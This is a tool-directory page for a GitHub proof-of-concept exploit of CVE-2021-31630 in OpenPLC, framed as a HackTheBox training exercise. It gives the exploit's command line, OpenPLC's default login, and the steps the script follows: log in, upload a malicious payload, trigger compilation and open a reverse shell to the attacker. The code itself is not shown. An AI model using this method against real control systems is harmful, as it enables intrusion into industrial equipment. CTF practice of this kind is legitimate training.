Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
htb-wifinetictwo-exploit — A simple python script to exploit CVE-2021-31630 on HTB WifineticTwo CTF | Kitploit
Tools/GitHubGitHub/behindsecurity/htb-wifinetictwo-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationRemote Access ToolBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
behindsecurity/htb-wifinetictwo-exploit

htb-wifinetictwo-exploit

A simple python script to exploit CVE-2021-31630 on HTB WifineticTwo CTF

View Repository
12 years agoNot yet reviewed
Share

CVE-2021-31630 Exploit PoC

This Python script is a Proof of Concept (PoC) exploit for CVE-2021-31630, targeting a vulnerability in OpenPLC running on the WifineticTwo box at HackTheBox. It is designed for educational purposes only, aiming to demonstrate the exploitation process in a controlled environment.

Disclaimer

This tool is intended for security research and educational purposes only. Use of this tool for attacking targets without prior mutual consent is illegal. The developer will not be held responsible for any damages or criminal charges against users misusing this exploit.

Prerequisites

Before running this exploit, ensure you have:

  • Python 3 installed on your system.
  • The requests library installed. You can install it using pip install requests.

Usage

To use this exploit, you must specify the target's URL, the local host IP (LHOST), and the local port (LPORT) to which the reverse shell should connect back. Optionally, you can specify the username and password for OpenPLC if they differ from the default.

root@kitploit:~
./exploit.py --target http://wifinetictwo.htb:8080 --lhost [LHOST] --lport [LPORT] [--usr [USERNAME] --pwd [PASSWORD]]

Arguments

  • --target - Target base address. Example: http://wifinetictwo.htb:8080
  • --lhost - Local host IP address for the reverse shell to connect back to.
  • --lport - Local port for the reverse shell to connect back to.
  • --usr - (Optional) Username for OpenPLC. Default is openplc.
  • --pwd - (Optional) Password for OpenPLC. Default is openplc.

Features

  • Automatically handles the login process using provided credentials.
  • Crafts and uploads a malicious payload to achieve remote code execution.
  • Initiates a reverse shell back to the attacker's specified IP and port.

Exploit Process

  1. Login: The script logs into the OpenPLC application using the provided credentials.
  2. Payload Crafting: Dynamically crafts a malicious payload designed to initiate a reverse shell.
  3. Payload Upload: Uploads the crafted payload to the server.
  4. Exploit Trigger: Triggers the exploit by attempting to compile the uploaded malicious code, resulting in a reverse shell.

Acknowledgements

  • Special thanks to Fellipe Oliveira who discovered and reported CVE-2021-31630.
  • HackTheBox for providing a realistic environment to practice and learn about cybersecurity.
Download Tool